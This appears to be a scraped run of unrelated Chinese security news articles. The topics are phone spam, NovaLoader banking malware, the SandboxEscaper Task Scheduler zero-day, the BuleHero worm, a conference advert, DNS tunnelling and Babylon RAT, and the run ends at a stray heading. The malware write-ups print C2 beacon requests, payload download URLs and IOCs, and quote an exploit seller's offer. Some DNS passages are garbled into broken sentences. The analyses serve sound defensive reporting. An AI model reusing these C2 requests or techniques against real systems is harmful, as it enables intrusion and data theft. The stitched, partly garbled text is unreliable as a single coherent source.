骚扰电话愈发猖獗大概是隐私泄露问题的真实写照,除了个人隐私意识需要加强之外,电信公司对于骚扰电话的打击力度显然还不够。近期,工信部就骚扰电话管控不力问题约谈了中国电信集团公司和广东、江苏、浙江、四川等问题突出的四省电信公司。

WX20190523-164719@2x.png

由于近期中国电信骚扰电话被投诉举报量快速增长,工信部要求其重点加强语音专线和码号等通信资源的管控,坚决落实治理骚扰电话部署要求,确保短期内见实效,并与四省电信公司签订了《整改承诺书》。

随着微信、QQ逐渐取代电话、短信成为人们日常主要的交流工具,骚扰电话问题显得更加突出,这并不能完全体现由隐私泄露造成骚扰电话更加严重的情况。

2019_03_16_4a710268df5b405aa56c84e061ba78d3.jpeg

笔者翻看手机通话记录,最新的十条中,1条网约车、2条订餐/咖啡、1条快递、1条运营商客服电话以及5条各类推广/贷款类骚扰电话。如果抛开快递和订餐的需求,在网络持续良好的情况下,笔者甚至觉得可以屏蔽一切来电,连短信也不过是为了接受验证码和快递消息而已。

根据《 2019年2月12321举报受理情况播报 》,2019年2月份仅12321举报中心收到的举报涉嫌骚扰电话约3.7万件次,这比近期正在大力整治的APP安全、权限问题收到的举报量还要多近1万件次。

WX20190523-162251@2x.png

在骚扰电话举报情况中,贷款理财类、违规催收类和电话轰炸类的举报 信息居前三位,占比分别为 24.2%、15.7%和 9.3%,前三类占比就几乎占据一半比重。虽然笔者平时很少遭遇电话轰炸和违规催收的情况,但贷款理财类的骚扰电话高居第一位,还是非常现实的。

在今年的315晚会上,揭露了一个鲜为人知产业链,连客服电话都披上了人工智能的外衣,人工智能客服机器人一天能拨打几千条电话,而且普通用户根本区分不出来是真人还是机器人。想想我心情很低落时收到骚扰电话时忍不住会爆几句粗口,真是有点好笑,你跟个机器人较什么劲儿呢?

20188106080621270.jpeg

柯洁尚且承认人类无法超越AlphaGO,消费者又如何去跟一个一天能打几千通电话还不用喝水的机器人去对抗呢。尽管越来越多的智能手机都自带有防骚扰机制,通过设定一些规则能够屏蔽一部分骚扰电话和短信。但仍然有大量骚扰电话号码没有被来电显示库标记类型,基本无法屏蔽。是否也该反思,这些号码都是哪里来的?手机实名制机制全面推行,似乎完全没有遏制骚扰电话的疯长,境内外依然存在大量黑卡被黑灰产利用,从源头上治理骚扰电话,电信运营商首当其冲。

我希望有一天,24小时都没接到一个陌生电话的时候,不是因为手机欠费……

*本文作者:Allen别bb,转载请注明来自FreeBuf.COM

1.jpg

写在前面的话

近期,研究人员检测到了一个非常有趣的针对巴西银行的恶意软件活动。这款恶意软件名叫NovaLoader,采用Delphi开发,并且使用了Visual Basic Script(VBS)脚本语言来扩展其他功能。虽然最终的Payload不算新颖,而且也有很多研究人员已经研究过了,但我们这一次发现的多阶段Payload传播却是之前没有出现过的。

传播方法

在之前的样本中,这款恶意软件所采用的传播方法包括垃圾邮件、社工活动以及钓鱼网站等等。攻击者使用了各种参数和选项来确保恶意软件的传播,并尝试绕过安全防护产品的检测。一般来说,他们主要利用的都是热门的合法服务,比如说Dropbox、GitHub、Pastebin、AWS以及GitLab等等,而且还会使用类似No-IP和DynDNS等动态DNS服务。

根据研究人员的分析,NovaLoader在其感染链中使用了Autolt、PowerShell和Batch脚本,但这是我们首次发现它竟然还使用了VBS。除此之外,在此次攻击活动中,它还使用了加密脚本,而不像之前那样只是对脚本代码进行了混淆处理。

主Dropper

MD5:4ef89349a52f9fcf9a139736e236217e

这款恶意软件的主Dropper比较简单:它唯一的作用就是解密嵌入其中的VB脚本,并运行解密后的脚本:

3.png

第一阶段脚本

下图为嵌入脚本解密前和解密后的代码。

这个VBS文件将会解密一个URL地址(dwosgraumellsa[.]club/cabaco2.txt),并下载另一个加密脚本,然后在该脚本解密后运行脚本:

5.png

第二阶段脚本

下载下来的VB脚本解密后的部分代码段如下所示:

6.png

VB脚本会向“http://54.95.36[.]242/contaw.php”发送一个GET请求,很可能是为了让远程C2服务器知道它已经成功在目标系统上运行了。接下来,它会尝试使用WMI查询并检测当前是否为虚拟机环境:

7.png

NovaLoader将会把下面这些可执行文件拷贝到目录“C:\\Users\\Public\\”中:

C:\\Windows\\(system32|SysWOW64)\\rundll32.exe

C:\\Windows\\(system32|SysWOW64)\\Magnification.dll

接下来,它会从以下地址下载一些依赖文件:

32atendimentodwosgraumell[.]club

32atendimentodwosgraumell[.]club/mi5a.php文件在解密之后会存储到“C:\Users\Public\{random}4.zip”。

32atendimentodwosgraumell[.]club/mi5a1.zip文件会存储为“C:\Users\Public\{random}1.zip”。

32atendimentodwosgraumell[.]club/mi5asq.zip文件的存储路径为“C:\Users\Public\{random}sq.zip”。

然后它会向“54.95.36.242/contaw{1-7}.php”发送多个GET请求:

9.png

GET/contaw.php

GET/contaw2.php?w={redacted}BIT-PC_Microsoft%20Windows%207%20Professional%20_True

GET/contaw3.php?w={redacted}BIT-PC

GET/contaw4.php?w={redacted}BIT-PC

GET/contaw5.php?w={redacted}BIT-PC

GET/contaw6.php?w={redacted}BIT-PC_2/1/2019%205:05:06%20PM

GET/contaw7.php?w={redacted}BIT-PC_2/1/2019%205:05:06%20PM_CD=414KbCD1=9160Kb_

除此之外,它还会向“C:\Users\Public\”目录存储多个恶意文件:

10.png

最后,它将会使用拷贝过来的rundll32.exe文件来解密DLL并导出功能函数:

11.png

第三阶段的Payload是一个DLL文件,它将作为最终阶段Payload的加载器。它通过rundll32.exe运行,主要功能就是解密和加载最终阶段的Payload。

最终Payload

最终阶段的Payload采用Delphi开发,并且包含用户凭证窃取(针对各大巴西银行)在内等多种功能。而且它还会监控浏览器窗口的标题,如果检测到了匹配的巴西银行名称,恶意软件将会控制目标系统并与恶意C2服务器建立连接,然后阻止用户访问真正的银行网银页面,并在后台进行恶意操作。

恶意软件所使用的部分命令如下:

恶意软件中跟银行有关的部分字符串如下:

13.png

入侵威胁指标IoC

MD5:

60e5f9fe1b778b4dc928f9d4067b470b

4ef89349a52f9fcf9a139736e236217e

100ff8b5eeed3fba85a1f64db319ff40

99471d4f03fb5ac5a409a79100cd9349

cb2ef5d8a227442d0156de82de526b30

a16273279d6fe8fa12f37c57345d42f7

ac4152492e9a2c4ed1ff359ee7e990d1

fdace867e070df4bf3bdb1ed0dbdb51c

4d5d1dfb84ef69f7c47c68e730ec1fb7

6bf65db5511b06749711235566a6b438

c5a573d622750973d90af054a09ab8dd

ef5f2fd7b0262a5aecc32e879890fb40

35803b81efc043691094534662e1351c

34340c9045d665b800fcdb8c265eebec

a71e09796fb9f8527afdfdd29c727787

5a9f779b9cb2b091c9c1eff32b1f9754

a7117788259030538601e8020035867e

cb9f95cec3debc96ddc1773f6c681d8c

 a7722ea1ca64fcd7b7ae2d7c86f13013

URL:

185[.]141[.]195[.]5/prt1.txt

185[.]141[.]195[.]81/prt3.txt

185[.]141[.]195[.]74/prt1.txt

dwosgraumellsa[.]club/cabaco2.txt

wn5zweb[.]online/works1.txt

23[.]94[.]243[.]101/vdb1.txt

167[.]114[.]31[.]95/gdo1.txt

 167[.]114[.]31[.]93/gdo1.txt 

*参考来源:zscaler,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

漏洞开发人员SandboxEscaper在微软最近一次安全更新之后的一周,放出了一个Windows操作系统的0day漏洞。该漏洞于去年8月份出现,能够使外部攻击者获取本地权限以及允许访客用户取得SYSTEM和TrustInstaller等全权限用户的文件。

格式错误的任务文件

此次漏洞出现在Task Scheduler程序中(即任务计划进程),可通过该漏洞从其他系统中倒入遗留任务。早在Windows XP时代,该任务就可以以.JOB格式存在,至今,仍然可以将其添加到新的操作系统中。

导入之后会发生什么?当Task Scheduler导入任意具有DACL(自主访问控制列表)控制权限当JOB文件时,在缺少DACL的情况下,系统会授予任何用户对文件的完全访问权限。

对此,研究人员解释,通过将遗留任务文件导入Windows 10上的任务计划进程中时,从旧系统中复制可执行文件“schtasks.exe”和“schedsvc.dll”并运行,便可导致远程过程调用(RPC)到“_SchRpcRegisterTask”中,这是一种任务调度程序服务公开向服务器注册任务的方法。

SandboxEscaper表示,这个漏洞能够让攻击者以有限权限开始,并以SYSTEM权限结束,为了证明其真实性,她放出了一段视频,演示了如何在x86的Windows系统上运行:

CERT/CC的漏洞分析师Will Dormann对此表示了肯定。他表示这是利用了Windows 10任务调度程序中的漏洞,其在旧版导入的任务上设置了SetSecurityInfo()。该漏洞调用代码一次,随后删除该文件,然后使用NTFS硬连接再次调用,指向获取使用SetSecurityInfo()破坏权限的文件。

Dormann确认了漏洞利用代码,并且表示它在2019年5月更新之后的Windows 10 x86系统上无需任何修改即可使用,成功率为100%。

若想在64位的Windows 10上实现,则需要重新编译第一个代码,但记录的结果相同,就像Server 2016和2019的区别。唯一无法复现这段代码的操作系统是Windows 8和Windows 7。

还有更多的0day

SandboxEscaper在其博客上发布,表示仍然还有四个未公开的0day漏洞,其中三个是导致代码执行本地权限升级(LPE)的漏洞,第四个则是沙盒逃逸。

目前,她似乎倾向于将0day卖给非西方的买家,并且对每个LPE开价至少60000,不过暂时对其使用的货币种类还不清楚。

“如果有非西方人想买LPE,请联系我。(仅限于Windows LPE)价格60k起。我不欠社会任何事,指向帮你致富。”

据悉,此人此前有过发布0day攻击的历史。当时其发布的第一个0day漏洞也是针对Task Scheduler的;第二个发布于2018年10月,是一个允许系统任何用户删除任何文件的漏洞;第三个发布于圣诞节前,攻击者能够通过系统访问来读取系统内任何文件;第四个则在新年前一天发布,内容是允许攻击者用任意数据覆盖系统内文件。 

*参考来源:bleepingcomputer,Karunesh91编译,转载请注明来自FreeBuf.COM

一.背景

本周腾讯安全御见威胁情报中心接到客户求助,客户部署的腾讯御界高级威胁检测系统发现入侵感知告警信息,信息显示该公司有资产正遭受利用WebLogic Fusion中间件远程代码执行漏洞(CVE-2019-2725)的网络攻击,该公司安全人员及时联络腾讯安全专家协助分析威胁事件。

1.png

图1

腾讯安全专家在征得客户同意后提取御界的相关日志,对日志进行分析并从中提取出关键IOC信息,然后利用该IOC信息通过腾讯安图高级威胁溯源系统进行溯源,结果发现该公司遭受的WebLogic Fusion中间件远程代码执行漏洞(CVE-2019-2725)攻击事件为BuleHero蠕虫病毒的最新变种攻击。由于发现及时,腾讯安全专家及时协助客户进行隔离、杀毒、修复安全漏洞,该公司并未遭受损失,客户网络的入侵风险随即解除。

事件日志显示,黑客攻击时发送的数据包命中了部署在御界高级威胁检测系统中的CVE-2019-2725漏洞攻击检测规则,从而触发御界报警。御界保存的原始日志如下:

2.png

图2

从原始日志解析出攻击时发送的soap消息如下:

3.png

图3

从日志解码数据中提取关键IOC信息fid.hognoob.se,并通过腾讯安图高级威胁溯源系统分析,可知攻击所属病毒家族为BuleHero。

4.png

图4

二.详细分析

蠕虫病毒bulehero最早由腾讯安全御见威胁情报中心于2018年8月发现,该病毒擅长利用各类漏洞攻击、弱密码爆破攻击,病毒作者不断更新攻击模块代码,将最新爆出的多个高危漏洞加入到漏洞攻击模块中,给企业用户造成较大威胁。腾讯安全御见威胁情报中心对该病毒进行了持续跟踪,发现bulehero蠕虫病毒利用包括以下漏洞进行攻击:

· Windows系统漏洞:

· “永恒之蓝”MS17-010

· Lnk漏洞(CVE-2017-8464)

服务器组件漏洞:

· Apache Struts2远程代码执行漏洞(CVE-2017-5638)

· WebLogic WLS组件远程代码执行漏洞(CVE-2017-10271)

· Tomcat PUT方式任意文件上传漏洞(CVE-2017-12615)

· Thinkphp V5漏洞(CNVD-2018-24942)

· WebLogic Fusion中间件远程代码执行漏洞(CVE-2019-2725)(本次攻击新增)

病毒使用的爆破攻击类型包括:

· SQL Server 1433端口爆破

· IPC$远程连接爆破

5.png

图5 BuleHero蠕虫最新变种攻击流程

2.1 download.exe

BuleHero病毒在漏洞攻击成功后,首先通过Payload下载Downloader木马(hxxp://fid.hognoob.se/download.exe),然后利用该Downloader木马继续下载母体病毒Secloginler.exe。

6.png

图6

2.2 Secloginler.exe

Secloginler.exe扫描模块进行扫描、利用永恒之蓝攻击模块、ipc$爆破攻击模块以及多个服务器组件漏洞攻击模块对内网环境中的主机或服务器进行攻击,从而达到横向移动并在失陷机器中植入挖矿木马。

获取本地ip段,并随机生成部分ip段,写入文件夹下的ip.txt,然后通过端口扫描发现易受攻击的目标机器保存为result.txt

7.png

图7

“永恒之蓝”漏洞攻击,“永恒之蓝”自从被黑客组织公开后,被WannaCry等多种恶意病毒使用,虽然大多数用户已经修复了此漏洞,但是还有一部分未修复漏洞的用户面临被攻击的危险。

8.png

图8

服务器组件漏洞(CVE-2019-2725)攻击(其他组件攻击类型不再列举):

2019年4月17日,国家信息安全漏洞共享平台(CNVD)公开了Weblogic反序列化远程代码执行漏洞(CNVD-C-2019-48814),微软官方紧急补丁(CVE-2019-2725)于4月26日发布。由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行,漏洞受影响程序版本为Oracle WebLogic Server 10.*、Oracle WebLogic Server 12.1.3。

9.png

图9

母体运行后会释放LNK(CVE-2017-8464)漏洞利用模块。通过在染毒机器各个磁盘根目录创建恶意LNK文件,利用漏洞加载Payload的方式,实现更加隐蔽的长期反复启动感染驻留。由于该蠕虫主要目标为企业用户,一旦企业共享目录被病毒感染,任何访问该共享目录的存在漏洞的电脑均会被感染。

10.jpg

图10

利用内置密码字典进行IPC$远程爆破,爆破登录成功后在目标机器利用Psexec工具或者WMIC执行远程命令植入木马程序。

11.png

图11

2.3 挖矿

病毒母体释放挖矿木马到C:\windows\temp目录下:

12.png

图12

安装计划任务以达到持久化运行:

13.jpg

图13

矿机程序采用开源挖矿软件XMRig 2.14.1版本编译:

14.png

图14

木马连接矿池挖矿:

15.png

图15

三.安全建议

1.服务器暂时关闭不必要的端口(如135、139、445),方法可参考:https://guanjia.qq.com/web_clinic/s8/585.html

2.下载并更新Windows系统补丁,及时修复永恒之蓝系列漏洞

XP、WindowsServer2003、win8等系统访问:http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598

Win7、win8.1、Windows Server 2008、Windows 10,WindowsServer 2016等系统访问:https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx

3.定期对服务器进行加固,尽早修复服务器相关组件安全漏洞,CVE-2019-2725漏洞修复建议如下:

1)及时打上官方CVE-2019-2725补丁包

官方已于4月26日公布紧急补丁包,下载地址如下:

https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html?from=timeline

2)删除不安全文件

删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。具体文件路径如下:

10.3.*版本:

\Middleware\wlserver_10.3\server\lib\

%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\

%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\

12.1.3版本:

\Middleware\Oracle_Home\oracle_common\modules\

%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\

%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\

4.服务器使用高强度密码,切勿使用弱口令,防止黑客暴力破解。

IOCs

IP

195.128.124.140

197.26.161.25

Domain

fid.hognoob.se

uio.heroherohero.info

md5

f39fda009e079be4265a062afe3943b4

9bc15491b017d3f8a0452c10bdf6bcc2

76e77e317c4dcc5b17269fa86ab7df27

2b4ac7b362261cb3f6f9583751708064

URL

hxxp://fid.hognoob.se/download.exe

hxxp://fid.hognoob.se/Secloginler.exe

hxxp://uio.hognoob.se:63145/cfg.ini

hxxp://uio.heroherohero.info:63145/cfg.ini

参考链接:

https://www.freebuf.com/column/180544.html

https://www.freebuf.com/column/181604.html

https://www.freebuf.com/column/197762.html

2019补天白帽大会将于5月29日在上海举办,众多业内顶尖大咖将出席并进行主题演讲。本届补天白帽大会,是奇安信正式跻身“国家队”后首次举办的白帽大会,也是国内规模最大白帽盛典。

作为首个面向民间安全群体(白帽子)和安全从业者、技术精英开放的,专注于漏洞响应与防护的全球性安全行业盛会——补天白帽大会(2019),将邀请国内外知名黑客、安全大牛、企业安全负责人及知名学者到场,针对Web安全、移动安全、物联网安全、工控安全、密码安全、系统安全、二进制漏洞挖掘技术、软件逆向技术、关键信息基础设施保护、安全技术发展趋势等前沿话题进行技术干货分享。

图片1.png

相比前三届补天白帽大会,今年在议题中,会更加深入探讨系统、IOT、工控、移动等4类漏洞技术议题。届时,盘古实验室首席科学家王铁磊、独立安全研究员kevin2600、iOS和MacOS领域专家jonathanlevin等业内大咖将现身会场,就漏洞技术和具体安全事件进行分享。

在2019补天白帽大会上,除了围绕漏洞技术和安全事件分析外,针对关键信息基础设施的攻防演练和安全体系建设以及红蓝对抗设有分论坛,国家电网、中石化等客户代表将分享央企及相关机构的网络安全体系建设经验,技术专家也将分享大型厂商应对APT级别攻击时的纵深防御能力建设和最前沿技术。

此外,以“汇聚白帽力量,重塑漏洞价值”为主旨的“补天五星计划”也将在现场发布。作为补天漏洞平台战略升级的重要内容,漏洞响应的范围精细化为Web、IOT、工控、移动APP、操作系统等五大方向。可以预见,升级后的补天平台将网聚更多白帽子力量,保障更多厂商的网络安全。

据了解,补天白帽大会由补天漏洞响应平台主办,由公安部网络安全保卫局、国家计算机网络应急技术处理协调中心(CNCERT/CC)、中国信息安全测评中心、国家信息技术安全研究中心、中共上海市委网络安全和信息化委员会办公室共同指导,联合知名国际安全组织以及国内外多家企业安全运营响应中心(SRC)参与。

补天漏洞响应平台是中国最大网络安全公司之一奇安信集团旗下平台。今年5月10日,随着央企中国电子的战略投资,奇安信已正式跻身网络安全“国家队”行列。这一崭新的身份,将更有助于补天漏洞响应平台汇聚民间网络安全人才力量,加强对民间漏洞的广泛收集和深度分析,进一步解决各类网络安全隐患,共同守护网络安全的城墙,为政企机构的网络安全创造更大价值。

目前,2019补天白帽大会参会报名正在进行。报名详情以及大会具体日程安排详见官网:https://www.butian.net/whc/2019

关于 DNS 隧道技术的滥用调查在本报告中,我们将介绍基于DNS的数据过滤和渗透的类型,方法,并提供了一些防御机制。

DNS

DNS使用端口53,你几乎可以在任何系统,防火墙和客户端上打开并进行DNS查询。这些查询使用UDP协议,而不是TCP协议,所以它与TCP等效查询具有更低的延迟,带宽和资源。但是UDP没有错误或流量控制功能,也没有任何完整性检查以确保数据完好无损。所以互联网如何保证用户浏览网页,使用应用,聊天可靠呢?比如如果在一个实例中UDP DNS查询失败,大多数系统将在多次失败之后,可能切换到TCP; 如果DNS查询超出UDP数据报大小的限制,则也使用TCP 。下面的图1说明了DNS如何运行的基本过程:客户端使用特定类型发送查询字符串(例如,在这种情况下为mail.google [。] com) – 通常为主机地址的A. 我已经跳过了中间DNS系统可能必须确定’.com’存在的部分,然后找出可以找到’google [。] com’的位置。
关于 DNS 隧道技术的滥用调查如果您想深入了解DNS的工作原理 – 从您键入密钥以拼写您想要浏览的域名 – 请这篇文章介绍可以从DNS服务器日志中收集的信息类型的一些想法; 操作此类服务器的管理员获取远程IP发送请求 – 尽管这可能是最后一跳或DNS服务器的IP,而不是确切的请求客户端的IP – 以及查询字符串本身,以及来自服务器的响应。

DNS隧道

现在我们对DNS有了一些认识,以及它在网络中的运行方式以及服务器端跟踪功能,让我们深入了解一下隧道功能。在本节中,我们将描述命令和控制(C2)信标如何在DNS上运行,以及如何实现数据的过滤和渗透。

C2

C2通常有两个目的。首先,它可以充当信标或心跳包,表明他们的远程payload仍在运行(仍然有心跳 ) 因为它正在向服务器发送(通信)。您可以将基本DNS操作(如上面的图1所示)看作一个心跳包的示例。如果客户端系统上的恶意软件通过DNS反复向攻击者的服务器发送查询,则攻击者可以从日志中判断出肉鸡正在运行。下面图2所描述的另一个示例,其中客户端系统受到恶意软件的攻击,该恶意软件正在构建通过DNS发送奇怪外观的查询字符串。像这样的查询仍然充当心跳指示攻击者他们的payload仍然是活跃的,但是他们还提供关于受害者的一些基本元数据,并且重要的是,如何识别一个受害者。
关于 DNS 隧道技术的滥用调查用户名和主机名可能并不能识别主机,但是系统确实具有通用唯一标识符(UUID)或其他属性,这些属性在组合时可以为创建唯一标识符。受感染主机的一些元数据可以作为纯文本发送,但对于在DNS查询中看到此类字符串的任何人来说,乍一看似乎更可疑。在许多情况下,数据将包含DNS不支持的字符,在这种情况下将需要编码。在图2中,您可以看到元数据的base64编码等效项,它使用“ – ”分隔符号构造,用于在服务器端进行简单的解析和解码,如下面的图3所示。
关于 DNS 隧道技术的滥用调查图3显示了来自DNS服务器应用程序的原始DNS日志的示例,其中包含恶意软件的查询和DNS服务器的响应(在本例中为NXDOMAIN(或不存在域)的行条目。在某些方面,像这样的日志,或者可能是包含来自它们的解码记录的小型数据库,可以与控制面板允许黑客控制他们的僵尸系统。

Exfiltration

那么,还有什么可以在DNS查询中发送?好吧,理论上的任何东西,只要它编码正确并且不滥用UDP大小限制。解决后一种约束的方法可能是发送多条A记录消息,并在服务器端以某种方式将它们拼接在一起。与确保重传失败包的TCP不同,UDP没有这样的机制。需要一种算法来理解将发送多少消息,并检查正确的消息到达的数量,但比这更复杂的是,以某种方式要求客户机重新传输某些数据段,直到100%到达为止。根据要传输的数据量(例如,系统上的每个PDF),可能需要花费很长时间,而且对于网络管理员来说非常可疑。

Infiltration

相比之下,无论是代码,命令还是但是,恶意软件如何知道将类型更改为TXT或何时请求“文本”数据?

在我之前的C2 DNS通信示例中,来自DNS服务器的响应是NXDOMAIN。此消息显然会到达客户端系统(和恶意软件),并且可以用于Payload的消息或指令。

NOERROR,该术语暗示一切正常 – 您的请求已得到处理并且答案等待着您。使用NOERROR可以处理响应。通常这是IPv4(用于A类型请求)或IPv6(用于AAAA类型请求)或者它可以是TXT,如上面的图4所示。一个简单的例子 – IPv4地址响应 – 恶意软件不需要实际的IP与之通信,不像您的浏览器询问“google [。] com在哪里?”。

恶意软件已使用C2 over DNS与其目的地进行通信。恶意软件可以使用IP响应的是4,294,967,296个命令或指令中的任何一个。同样这个非常简单,IP的第 4 个八位字节中的特定值(例如100)可能指示恶意软件向行动者的域发送TXT DNS查询以收集和执行Payload。第一个八位字节中的值10可能意味着从操作系统和事件日志中卸载并擦除Payload的痕迹。从字面上看,选项是无穷无尽的,可能的复杂程度也是如此。鉴于攻击者可以控制DNS服务器,并且某些DNS服务器应用程序或守护进程具有高度可配置性,因此可以根据从他们发送的请求将条件响应发送回受害者系统上的恶意软件。例如,如果传入查询包含某个标志(字符)作为域名的第一个子域,则可以由在服务器上的DNS服务内运行的程序读取,并向客户端提供自定义响应。这可以用于恶意软件自动处理一组任务,并相应地向受害者报告以接收他们的下一个任务。

结论

DNS是非常强大的工具,几乎可以在任何地方使用,允许应用程序和系统查找与之交互的资源和服务。DNS提供了一个通信基础,使更高级别和更强大的协议能够运行,但从安全角度来看,这可能意味着它被忽略,特别是当您考虑通过电子邮件协议传送多少恶意软件或使用HTTP从Web下载时。出于这些原因,DNS是黑客的完美选择,以利用来自受感染主机的通信。Unit 42已经看到多个恶意软件实例及其背后的参与者滥用DNS以实现其目标,如本报告所述。无论是使用Palo Alto Networks的安全操作平台还是开源技术,组织都可以通过多种不同的方式保护自己免受DNS隧道攻击。

防御可以采取许多不同的形式,例如但不限于以下内容:

1.根据已知声誉或感知危险阻止域名(或IP或地理定位区域);

2.关于“strange looking”DNS查询字符串的规则;

3.有关出站或入站DNS查询的长度,类型或大小的规则;

4.客户端操作系统的一般强化,并了解名称解析功能及其特定搜索顺序;

5.用户和/或系统行为分析,可自动发现异常情况,例如访问的新域,尤其是访问方法和频率异常时。

*参考来源:unit42,FB小编周大涛编译,转载请注明来自FreeBuf.COM

TaskScheduler.jpg

该漏洞利用是自去年8月起安全研究人员SandboxEscaper发现的第5个Windows 漏洞利用。SandboxEscaper利用该漏洞利用可以进行本地权限提升,获取SYSTEM和TrustedInstaller等特权用户对温泉的完全控制权限。

定时任务文件

这次,SandboxEscaper关注的还是计划任务工具(Task Scheduler),并用它来从其他系统中导入遗留任务。在Windows XP系统中,计划任务是.job格式的,并且可以添加到新版的操作系统中。

问题是计划任务工具导入的JOB文件是任意DACL(discretionary access control list,强制访问控制列表)控制权限的。因为缺乏DACL,系统会授予任意用户完全访问权限。

研究人员解释说该bug可以通过导入遗留任务文件到Windows 10中的计划任务中来进行利用。运行使用复制自老版本系统中的可执行文件schtasks.exe和schedsvc.dll命令会导致到_SchRpcRegisterTask的远程过程调用RPC,_SchRpcRegisterTask是在服务器上注册任务的方法。

研究人员猜测可以在不使用复制自老版本系统中的可执行文件schtasks.exe来调用该函数来触发该漏洞,但他不擅长逆向……

POC

研究人员在Windows x86上证明了该漏洞,POC视频如下:

https://github.com/SandboxEscaper/polarbearrepo/blob/master/bearlpe/demo.mp4

CERT/CC的漏洞分析师Will Dormann解释说,该PoC利用的其实是Windows 10计划任务中的一个漏洞,会在遗留的导入任务中设置SetSecurityInfo()。漏洞利用会调用代码,删除文件,然后用指向该文件的NTFS硬链接来再次调用,这样就可以用SetSecurityInfo()获取权限。

Dormann在打补丁的Windows 10 X86系统上进行了测试,成功率为100%。只需要重新编译代码就可以在64位的Windows 10系统和Windows 2016 and 2019上复现。Dormann称不能在Windows 7和Windows 8版本的操作系统上复现该PoC。

一大波0 day在路上

SandboxEscaper在博客中说他还有4个未公开的0 day漏洞,其中3个是本地权限提升漏洞,一个是沙箱逃逸漏洞。SandboxEscaper应该是想出售这3个本地权限提升漏洞给非西方人士,每个售价至少为60000。但不清楚交易的货币单位是美元还是欧元。

2018年SandboxEscaper先后发布过4个0 day漏洞,分别是:

· 2018年8月的Windows定时任务漏洞https://www.4hou.com/info/news/13323.html

· 2018年10月的Windows 0 day漏洞https://www.4hou.com/vulnerable/14196.html

· 2018年12月的Windows任意文件读0 day POC

· https://www.4hou.com/vulnerable/15369.html

· 2019年1月的Windows 0 day任意数据覆写文件漏洞

· https://www.4hou.com/vulnerable/15495.html

摘要

Cofense Intelligence最近分析了一起传播Babylon RAT(远程管理工具)的网络钓鱼活动。Babylon RAT是一个开源工具,可以处理多种任务,如加密C2通信、逃避网络安全控制、触发拒绝服务(DOS)攻击,以及窃取受害者数据等。

细节

此起网络钓鱼活动中传播了一个名为Babylon RAT的多功能开源远程管理工具。Babylon RAT的C2通信是加密的,允许动态域,并可以将客户端转换为一个反向SOCKS代理,以便进一步混淆。这种武器化的RAT具有多种实时客户端交互方法,能够进行信息窃取,它的管理面板还具有允许跨网络端点横向传播的特性。此工具功能齐全,如果使用得当,就有破坏任何组织的潜力。

Babylon RAT的客户端代码是用C#编写的,并且依赖于.NET 4.5。管理面板(如图1所示)是用C ++编写的,它提供了管理多个服务器配置选项的功能,一个选项是端口号,当服务器启动时,管理面板将在其中打开并侦听;另一个选项是用于向管理面板验证感染的网络密钥。配置中还允许设置将要连接的IP版本。顶部的“File”下拉列表提供对了服务器、配置和payload构建器的访问。

1.jpg

图1:Babylon RAT的管理面板和管理选项卡

C2

客户端的二进制文件在执行后,创建的初始C2连接会硬编码到构建的二进制文件中。构建过程会建议使用动态域,以便可以在不中断通信的情况下更改IP地址。这种连接是经过编码的,包含有关受感染主机的指纹信息,包括IP地址、国家、用户名、PC名、操作系统(OS)细节,以及最终用户激活的程序窗口。在与C2进行初始通信之后,受感染的端点默认情况下将每5秒更新一次管理面板。从客户机发送到服务器的检入通知是由非常小的网络包组成,只有大约4-8字节大小。图2显示的管理面板中了列出了上述的信息。

2.jpg

图2:上面列出的Babylon RAT的管理面板和指纹信息

Babylon RAT能够将受感染的计算机转换为SOCKS代理,在版本4或5之间进行指定。版本的主要区别在于:版本5提供了从客户端到代理的身份验证,这有助于抵消来自第三方的滥用。通过SOCKS代理,威胁行为者可以创建一个加密隧道,让所有受感染的主机将其用作网关,从而进行网络捕获,并且威胁行为者仅需网络中的一个出口点,就能同时保持多个机器的感染。这意味着,如果一个威胁行为者可以与网络中的一个端点保持通信,那么他就可以横向传播,并使来自受感染客户机的C2网络的所有流量返回到这个端点。通过访问命令提示符和窃取的凭证,这将是非常简单的。这种技术还可以绕过不必要二进制文件的电子邮件和URL过滤。图3显示了SOCKS代理端点的详细信息和流经它的通信量。

3.jpg

图3:SOCKS代理选项卡和相关信息

客户端构建器提供了使用两个不同C2域以实现冗余的选项。 代理服务器结合使用将多个动态域与时,威胁行为者可以通过多个通道有效地在端点和客户端之间创建混淆的流量层。

4.jpg

图4:可用的监视选项

请注意图4中的密码恢复选项。密码恢复模块通过查看应用程序(包括Web浏览器)来获取凭证,但不收集OS用户凭证。不过可以猜测,使用上面的用户名和获取的几个密码,OS用户凭证也可能会受到损害。如果OS用户凭证受到损害,操作人员很容易打开远程命令提示符,并使用这些凭证登录到网络中的其他机器。如果成功登录到另一台机器,那么操作人员就可以让第二台机器下载/执行另一个有效负载。上述步骤需要自动化实现,但它确实反映了RAT的传播方法。图5显示了系统选项,包括远程命令提示符选项。

5.jpg

图5:允许进一步与受感染系统交互的系统选项

武器化

除了一系列功能之外,Babylon RAT还能够对受感染主机的目标产生拒绝服务(DoS)攻击。DoS特征可以设置为主机名或IP范围,并允许启动多个协议。协议都具有可调整的线程和套接字参数。威胁行为者可以选择让攻击来自单个协议或所有可用协议,将此命令发送到单个主机后,可以轻松地将命令复制到其他受感染的主机,从而有效地创建更大的分布式拒绝服务(DDoS)攻击。 图6显示了DoS攻击的配置,图7显示了将机器状态更改为DoS。

6.jpg

图6:DoS攻击可用的参数

 7.jpg

图7:管理面板和执行DDoS攻击的多个受感染主机

总结

Babylon RAT是一个开源平台,允许参与者构建各种威胁行为。加密流量和创建SOCKS代理的功能可以帮助犯罪分子逃避网络安全措施。客户端构建器则绕过病毒检测,有助于二进制文件安全地到达端点。允许网络传播的过程意味着感染不限于一个端点。结合执行DoS攻击的能力,Babylon RAT可以在适当的环境中高效运行。通过适当的技术,教育用户识别并报告可疑电子邮件,可以尽量避免Babylon RAT活动。

背景概述

